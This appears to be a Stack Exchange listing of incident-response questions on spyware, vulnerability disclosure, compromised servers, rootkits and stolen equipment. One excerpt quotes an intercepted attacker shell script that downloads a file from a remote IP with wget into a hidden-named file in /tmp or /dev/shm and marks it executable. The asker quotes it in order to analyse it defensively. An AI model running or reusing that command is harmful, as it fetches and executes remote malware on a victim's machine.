The art of responding to incidents in an organized and thoughtful manner.

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38
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9answers
6k views

What to do when I found a spyware that my spouse has installed?

Today I was trying to uninstall some application and I was very surprised to see this entry in my applications list Then I try to find what is this and I finally found it in "Program Files". After ...
35
votes
5answers
1k views

How do I respond to a published security vulnerability in my application?

In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity. On May 11 someone who discovered an XSS vulnerability in the WordPress version ...
32
votes
4answers
2k views

Why did my provider reset my password after someone else attempted to gain access to my account?

Recently a provider (of SIP trunking services) I subscribe to sent me a strange email. It claimed that someone in another country attempted to reset the password to my account and was unsuccessful in ...
23
votes
7answers
676 views

Fostering an environment where honesty and disclosure are valued

UPDATE: The question is seeking real research based on behavior analysis of a significantly large sample people using well defined experiments. Posting answers based on opinions, or ad-hoc ...
20
votes
6answers
2k views

Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
19
votes
10answers
1k views

Is it ever appropriate to fight back?

When an website or system is being attacked, is there ever a scenario where it should automatically take action against the attackers rather than just passively handling the attack? If so, what ...
18
votes
2answers
1k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
17
votes
5answers
562 views

What should I do when classified information stayed on a unauthorized laptop?

Has anyone ever had to deal with an unauthorized laptop accidentally getting Top Secret level data on it? How did you quarantine the system. Were you required to turn in the entire laptop or were you ...
17
votes
2answers
598 views

How to handle security issues of someone else's website

A few weeks ago I found that someone has posted admin account details for a certain website on a public wiki by mistake. As I found that data to be real (i.e. I could log into their website run by ...
14
votes
4answers
325 views

What should I look at in the event of a major vendor suffering compromise with unspecified impact?

The specific example I have in mind here is the breach of RSA in March 2011 where attackers got away with critical information which could be the seed information which is used to generate the ...
14
votes
1answer
1k views

What should be included in a jump bag and how often should it be reviewed?

What items should be included in a jump bag? How often do you review your jump bag?
12
votes
1answer
1k views

How to make a report after a ddos attack? what information do I need to write on the report?

In my company, after a DDOS against a server, my employer asked me to make an analysis of the attack and to write down some stuff. What do you think I need to write down in my report? Is there any ...
12
votes
2answers
258 views

Establishing routines on what to do if a PC gets stolen

I need to establish routines for how to handle theft of PC equipment, specifically laptops and stationary machines. Also I need to figure out how to make the consequences of stolen equipment minimal. ...
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
9
votes
7answers
672 views

If I suspect my server is compromised then should I disconnect it immediately or not? From Power or Network?

According to Mandiant, you should not: Mistake #1: Immediately entering “remediaton mode” – also known as playing “Whack-A-Mole” ... as described here: http://blog.mandiant.com/archives/1525 ...
9
votes
4answers
1k views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
9
votes
2answers
129 views

Encouraging security researchers to disclose vulnerabilities

What are approaches to forming solid relationships with security researchers? For example, is publishing a public PGP key on the "contact us" page of a company's website for high levels of risk ...
8
votes
4answers
4k views

Webserver logs show someone is trying to hack my site, what should I do?

It looks like someone is trying to hack my site. The following comes from my IIS log files: #Software: Microsoft Internet Information Services 7.5 #Version: 1.0 #Date: 2011-07-03 00:02:39 #Fields: ...
8
votes
3answers
1k views

How to manually check for rootkits on a server

Does anyone have a general step by step list on how to try discover rootkits on a Linux or Solaris server? I'm looking for to to manually find the rootkit, not by automated software. For example: ...
8
votes
4answers
729 views

How to track a laptop after theft?

Our company had a break-in this evening and a laptop was stolen. The data on the laptop was not super-sensitive (luckily); however, we would like to be able to track the laptop if at all possible. ...
8
votes
3answers
209 views

How do I report new malware?

I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best ...
7
votes
7answers
1k views

Facebook account keeps getting hacked, can't seem to figure out why or how?

One of my mate, she has a lot of friends on Facebook, uses it for marketing. Her account keeps getting broken into. Her password gets reset and/or gets locked for changing resetting password too many ...
7
votes
4answers
907 views

Gmail account hack prevention and recovery

I am doing a research on how to prevent my gmail account from being hacked and what are the options of claiming it back. The associated phone number and recovery email can be changed, in fact I ...
7
votes
4answers
371 views

Next steps after webmail account was compromised

John Doe told me the following story: I got a mail from a good friend. It just contained a single link. That seemed odd but I didn't think a lot about it. After clicking on the link, the web site ...
7
votes
3answers
227 views

Disclosing security vulnerabilities to paying customers first

Particular case An (unnamed) vendor of an open source product also sells commercial licenses and support. One of the advantages of the commercial deal is that you get notified of security ...
7
votes
4answers
243 views

Security papers or material focusing on the industrial control systems (SCADA)

Anyone know a good site or a list of resource to start to know issue related to the security of SCADA system ?
7
votes
3answers
1k views

How should a web page respond to a CSRF attack?

I know that you use tokens to prevent CSRF, but how should the receiving page respond when it is attacked? Should it fail silently, pretending the transaction was successful? Display an error message? ...
7
votes
3answers
1k views

What does a court need to successfully prosecute a hacker? Please cite previous cases if possible

Once a business decides it is worthwhile to persue legal action against the attacker, what information and processes should be followed so that: Integrity of the investigation is maintained The ...
7
votes
1answer
157 views

How to encourage responsible disclosure (and react appropriately otherwise)

As a conscientious programmer, I put security as one of the core requirements of every product I develop. To prevent flaws from being introduced, I promote a culture of awareness (e.g. make sure that ...
7
votes
2answers
416 views

Mature CIRTs gather intel on their attackers. What sources & methods are used for this?

I copied this question verbatim from a tweet by Dave Hull. CIRT = Computer Incident Response Team
6
votes
5answers
424 views

Effect of Source Code Leakage of a security suite on security

I am interested to know what threats does it pose, if the source code of a security suite is leaked. It came to my mind after reading the following URLs: ...
6
votes
2answers
2k views

Will reporting phishing emails cause problems for the victim?

On GMail, I've received a phishing email from someone I know, and the email has been sent to other people the victim knows. One of the emails is claiming to be from their GMail address, while the ...
6
votes
1answer
4k views

High concentration of UDP traffic, good or bad?

Should a network have a high concentration of UDP traffic compared to TCP traffic bad for a network especially in the context of network security? I'm looking at my organization's network protocol ...
6
votes
1answer
116 views

Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
6
votes
2answers
128 views

“Fingerprinting” and human error

Pretend for a moment I am investigating an attack. I find errors in the attack method (mistakes made by the human attacking my network/computer). I compile a database of these "mistakes" treating ...
5
votes
3answers
501 views

How to respond to attack made from my dedicated server?

There was a sudden unusual peak of outbound traffic from my hosted dedicated server (OS - Windows Server 2008 R2). The hoster threatened to block the server if the problem is not solved. There are an ...
5
votes
2answers
7k views

How can I detect/withstand DNS amplification attack?

I am a developer, and I am trying to get an insight into what could I do to enable my application to withstand a DNS amplification kind of attacks. Would such prevention methods help against DOS type ...
5
votes
3answers
365 views

How I can prove that SSH attacks are not from my application?

My ruby on rails web application is hosted on Linode. Linode opened a ticket and blamed my Linode server for attacking other servers. The logs revealed that it's a SSH brute force attack which ...
5
votes
2answers
523 views

Is this a good way to manage Incident-Response

I m trying to find a good way to deal with incidents. For now these are my thoughts: x Join Logs and analyse with splunk (and alert with rsyslog, splunk is too expensive), x ...
5
votes
2answers
280 views

Sony Attacks, what would you do?

If you where called by Sony right now, had 100% control over security, what would you do in the first 24-hours?
5
votes
1answer
206 views

xml library vulnerabilities, regarding post-exploitation

there was some arbitrary code execution that occurred on my os x 10.5 system. this came as a result of opening an xls file with excel for mac. the vnc type program that came with office for mac was ...
5
votes
3answers
217 views

Responsible Disclosures and Getting Sued

Lots of websites like Google, Facebook etc acknowledge the white hat hackers on their sites for reporting security vulnerability. But for the vulnerability reporter is it safe from legal perspective ? ...
5
votes
3answers
146 views

What policies maximize incident detection (and compromise detection)?

What are the equivalent digital parallels to the practice of offering bonuses to employees challenging persons in a secured area without a visible badge?
5
votes
4answers
466 views

Is it harmful to redirect web bugs to localhost on hosts file?

I was checking the article hosts file on Wikipedia, and I found this: Blocking access to servers of unwanted content by redirecting them to the local host (127.0.0.1) may have security ...
5
votes
1answer
100 views

Modeling vectors of an unknown exploit

Looking for a formula and parameters to feed it that will aid in the isolation of relationships within a system when the origin and cause of an exploit within it is unknown. Here's an example of an ...
5
votes
2answers
140 views

How to evaluate the damage after being hacked [duplicate]

It's well known what measures one should take to prevent hackers from hacking their PC. But are there any steps that allows a user to evaluate the damage done by a hacker? Say that I know for sure ...
5
votes
2answers
851 views

Appropriate response to 2014 Russian Security Breach (CyberVor)

The report from Hold Security says that 1.2 billion sets of credentials are in the possession of this party. I have a feeling that this report may be a hoax or a partial hoax due to grammatical errors ...
5
votes
2answers
340 views

Enterprise security incident response and detection

I have a decent understand and experience with securing and setting up smaller networks, although absolutely no enterprise experience. I understand at such a large scale there are different ...
5
votes
1answer
258 views

PGP-encrypted Email or SSL/TLS Webform for Responsible Disclosure Communication?

So it's a fairly simple question. When offering an avenue to security researchers for communication with us regarding disclosure of security vulnerabilities, what's the best way to do so? Assume we ...
5
votes
1answer
338 views

Cufon or Prototype as an attack vector for Blackhole exploit kit?

I've been asked to look into the security of a client site that's apparently throwing antiviral messages when visited. Specifics: It's being detected as a Blackhole exploit kit inside of a Cufon ...